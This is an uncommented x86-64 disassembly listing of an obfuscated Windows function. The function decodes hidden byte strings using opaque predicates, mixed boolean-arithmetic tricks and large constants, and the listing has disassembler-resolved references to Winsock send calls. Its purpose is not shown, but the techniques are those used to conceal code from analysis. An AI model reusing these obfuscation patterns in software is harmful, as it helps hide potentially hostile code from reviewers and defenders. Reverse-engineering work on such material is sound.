cmp r9, rbx
ja 0x14009ddcc
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14009d018
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x53
add r10b, dl
jmp 0x14009d050
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009db6e
inc rax
cmp r8, rax
je 0x14009db43
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009db1f
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009dae9
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009d6d5
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009d6b0
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009d67e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009d654
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009d62b
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009d5f4
lea rcx, [r9 + 2]
cmp r8, rcx
je 0x14009d5bb
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009d597
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14009d56e
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009d539
mov r8, rcx
lea r9, [rcx + 0x41]
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x14009dda8
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x14009dd84
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x14009d232
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x14009d213
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14009d1f8
lea rcx, [r9 + 0x5a]
cmp r8, rcx
jb 0x14009d4d4
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14009d47a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009d42e
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009d3ff
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009d060
mov r8, rcx
lea r9, [rcx + 0x1000]
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x14009d3c5
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x14009d39d
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x14009d374
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x14009d33f
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14009d303
lea rcx, [r9 + 0x61]
cmp r8, rcx
ja 0x14009d2db
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14009d2ac
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009d27a
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14009d256
mov r8, rcx
lea r9, [rcx + 1]
jmp 0x14009d060
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
jmp 0x14009d050
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7f
add r10b, dl
jmp 0x14009cfe0
movabs rcx, 0x349c2597073b94b9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
jmp 0x14009cf55
movabs rcx, 0xec2306f4d5ccfd58
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x14009db91
movabs rdx, 0x7cd46dfa27e5bda
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009cf42
movabs rdx, 0x237786ca6f2fba5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009cf42
movabs rdx, 0x3f21c6b53be118de
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
add r10b, dl
jmp 0x14009dc0c
movabs rdx, 0x5acc06a008927760
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
movabs rcx, 0x7676468ad543d5e2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2e
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
movabs rdx, 0x92208675a1f53464
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009dcd7
movabs rdx, 0xadcac6606ea692e6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
add r10b, dl
jmp 0x14009dd07
movabs rdx, 0xc975064b3b57f168
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x9c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009cf42
movabs rcx, 0x8e9ea6163b135dad
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x45
mov byte [rbp + rbx + 0x9c0], r10b
inc rbx
jmp 0x14009cf42
movabs rcx, 0xaa48e60107c4bc2f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x49
cmp r9, 2
jb 0x14009d41e
movabs rcx, 0x7d15443938aa2c1a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x6c]
jmp 0x14009db91
movabs rcx, 0xc5f325ebd4761ab1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
cmp r8, 0x61
jae 0x14009da88
lea rcx, [r9 + 1]
cmp r8, rcx
jbe 0x14009d91f
movabs rcx, 0x91bbc3653797dd2e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x14009d44d
movabs rcx, 0xe19d65d6a1277933
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
lea rax, [r8 + r9]
cmp rax, 0x5a
je 0x14009dab8
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14009d832
movabs rdx, 0x343762869cde3d83
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6b
add r10b, dl
jmp 0x14009d499
movabs rcx, 0x311a4537a059be02
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
movzx eax, byte [rbp + rbx + 0x9c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009cf42
movabs rdx, 0x4cc485226d0b1c84
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009dd07
movabs rcx, 0x686ec50d39bc7b06
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
jmp 0x14009dcd7
movabs rdx, 0x841904f8066dd988
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
movabs rcx, 0x9fc344e2d31f380a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
movabs rdx, 0xbb6d84cd9fd0968c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009dc0c
movabs rcx, 0xd717c4b86c81f50e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
dec rbx
inc rbx
jmp 0x14009cf42
movabs rdx, 0xf2c204a339335390
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009cf42
movabs rdx, 0xe6c448e05e4b212
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7e
jmp 0x14009db8e
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14009d704
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x39
add r10b, dl
jmp 0x14009d4f3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009d747
movabs rcx, 0xbb08c1bd35733f56
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5a
movzx eax, byte [rbp + rbx + 0x9c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009cf42
inc rax
cmp r8, rax
jne 0x14009d77b
movabs rdx, 0x83b441e79c108252
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3e
add r10b, dl
jmp 0x14009dcd7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009d7c0
movabs rcx, 0x4c5fc21202adc54e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009d7f7
movabs rcx, 0x150b423c694b084a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
dec rbx
inc rbx
jmp 0x14009cf42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d4f3
movabs rcx, 0xf96102519c99a9c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
inc r9
dec rbx
inc rbx
jmp 0x14009cf42
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009d863
movabs rcx, 0x188d229bd02cdf01
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
jmp 0x14009db91
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d89b
movabs rcx, 0xe138a2c636ca21fd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x15
dec rbx
inc rbx
jmp 0x14009cf42
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009d8dd
movabs rcx, 0x8e39e305d0b60677
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x41
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009d499
movabs rcx, 0x3b3b23456aa1eaf1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x69
movzx eax, byte [rbp + rbx + 0x9c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009cf42
jne 0x14009d95f
movabs rdx, 0x7611837a6ae67eac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x9c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009cf42
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009d995
movabs rdx, 0x3ebd03a4d183c1a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009dcd7
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009d9d6
movabs rcx, 0x2312c3ba04d26326
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009da1a
movabs rcx, 0x76883cf382104a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009da50
movabs rdx, 0xebbe43e46b6fa622
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009dc0c
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009d44d
movabs rcx, 0xd01403f99ebe47a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14009cf42
movabs rdx, 0x616b044e6bf8cd98
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x9c0]
sub r10b, al
sub r10b, 0x28
add r10b, r11b
add r10b, dl
jmp 0x14009dc0c
movabs rdx, 0x45c0c4639f476f16
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x9c0]
add r10b, r11b
add r10b, dl
jmp 0x14009dcd7
movabs rcx, 0x6488219d687d4d19
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x51
movzx eax, byte [rbp + rbx + 0x9c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009cf42
movabs rcx, 0xeedb613367f425a3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x75
jmp 0x14009dc0c
movabs rcx, 0xa85a11e34a58425
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 3
dec rbx
inc rbx
jmp 0x14009cf42
movabs rdx, 0x41da20f3ce084129
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1f
add r10b, dl
movabs rcx, 0xef402443d2517cd9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x11
add cl, r11b
mov byte [rbp + rbx + 0x9c0], cl
inc r9
dec rbx
inc rbx
jmp 0x14009cf42
movabs rcx, 0xb083209f00cdbb31
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
dec rbx
inc rbx
jmp 0x14009cf42
movabs rcx, 0xcc2d6089cd7f19b3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1b
movabs rcx, 0xd395e45905a01e57
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x61
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x9c0], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
movabs rcx, 0xe7d7a0749a307835
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x73
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
movabs rcx, 0x381e05f66e1d6b7
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
dec r10b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009cf42
mov r11, rdx
movabs rcx, 0x1f2c204a33933539
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
add r10b, 0x71
add r10b, cl
movabs rcx, 0xb7eba46e38eebfd5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x2d
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x9c0], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x2a168478d2961094
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0xc
add r11b, cl
mov byte [rbp + rbx + 0x9c0], r11b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x9c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009cf42
movabs rcx, 0x5680a01fccf5f23d
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x55
movzx eax, byte [rbp + rbx + 0x9c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009cf42
movabs rcx, 0x50466581d3ecf33b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x63
jmp 0x14009cf40
movabs rcx, 0x6bf0a56ca09e51bd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
jmp 0x14009cf30
lea rcx, [rbp + 0x16a4a14]
jmp 0x14009ddeb
lea rcx, [rbp + 0x519ad3]
jmp 0x14009ddeb
lea rcx, [rbp + 0x9c0]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140227f00]
lea rcx, [rbp + 0x2b8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xd8]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0x9e8], 0xa6
mov byte [rbp + 0x9e9], 0xcc
mov byte [rbp + 0x9ea], Ordinal_200
mov byte [rbp + 0x9eb], Ordinal_200
mov byte [rbp + 0x9ec], 0x90
mov byte [rbp + 0x9ed], 0xa7
mov byte [rbp + 0x9ee], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x9ef], 0xc0
mov byte [rbp + 0x9f0], 0xdd
mov byte [rbp + 0x9f1], 0xcb
mov byte [rbp + 0x9f2], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x9f3], 0xc9
mov byte [rbp + 0x9f4], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x9f5], 0x79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9f6], xmm0
mov dword [rbp + 0xa06], eax
mov byte [rbp + 0xa0a], al
movabs r14, 0x22e07cfd0295afa6
movabs r15, 0x3c2f6c10c7f7291a
movabs r12, 0x8e326c5a356efffe
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rcx, 0x56fe7fdb4944148e
cmp rdi, 0x23
jae 0x14009ecbb
movzx ebx, byte [rbp + rdi + 0x9e8]
mov r10, rbx
cmp r8, rdi
ja 0x14009ecaf
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009df43
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x1e
jmp 0x14009df80
je 0x14009ec1e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009eb8a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009eb61
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009eb35
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009eade
nop dword [rax]
cmp r9, rdi
ja 0x14009eca3
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14009dfb5
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009e000
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009eaba
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009ea8c
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009ea59
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009ea31
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009e9fd
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009e697
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009e673
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009e642
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009e614
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009e5f0
lea rcx, [r9 + 0x10]
cmp r8, rcx
je 0x14009e5ba
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009e582
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009e55a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009e533
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009e4ff
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009e010
mov r8, rcx
lea r9, [rcx + 0xa]
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x14009ec7b
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x14009ec58
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x14009e1fe
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x14009e1df
lea rcx, [r9 + 2]
cmp r8, rcx
jb 0x14009e1c0
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009e49e
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009e445
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14009e3f5
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009e3c2
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009e010
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x14009e38e
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x14009e366
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x14009e33e
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x14009e30b
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x14009e2d5
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x14009e2b2
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x14009e284
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x14009e253
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x14009e22f
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14009e010
lea r8, [r9 + 0x400]
lea r9, [r8 + 2]
jmp 0x14009e010
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009e000
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009df80
movabs rdx, 0xe0356ca3a2e6d6e2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
add r11b, dl
movabs rcx, 0x56fe7fdb4944148e
jmp 0x14009df0e
movabs rdx, 0x1703e7e814ad7d30
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
jmp 0x14009eafe
movabs rdx, 0x6906e83182255414
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14009def2
movabs rdx, 0xbb09e87aef9d2af8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14009def2
movabs rcx, 0xd0ce8c45d1501dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x14009e997
movabs rcx, 0x5f0fe90dca8cd8c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009def2
movabs rcx, 0xb112e9573804afa4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7c
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009def2
movabs rdx, 0x315e9a0a57c8688
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009ebac
movabs rdx, 0x5518e9ea12f45d6c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009ebda
movabs rcx, 0xa71bea33806c3450
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x9e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009def2
movabs rdx, 0xf4236aeb1217cd8a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0x9e8], r11b
inc rdi
jmp 0x14009def2
movabs rdx, 0x46266b347f8fa46e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 2
add r11b, dl
cmp r9, 6
jb 0x14009e3e5
movabs rdx, 0xa966f15f31203094
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x18]
jmp 0x14009eb01
movabs rcx, 0x98296b7ded077b52
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
cmp r8, 0x42
jae 0x14009e96c
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14009e8c1
movabs rdx, 0xdd84f43d77ce957c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
jmp 0x14009e414
movabs rcx, 0xea2c6bc75a7f5236
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x14009e9d8
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14009e7aa
movabs rdx, 0xbaa477407538e5d6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009e463
movabs rcx, 0xd142edee0f821de4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
movzx eax, byte [rbp + rdi + 0x9e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009def2
movabs rdx, 0x2345ee377cf9f4c8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x14009ebda
movabs rdx, 0x7548ee80ea71cbac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009ebac
movabs rdx, 0xc74beeca57e9a290
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009def2
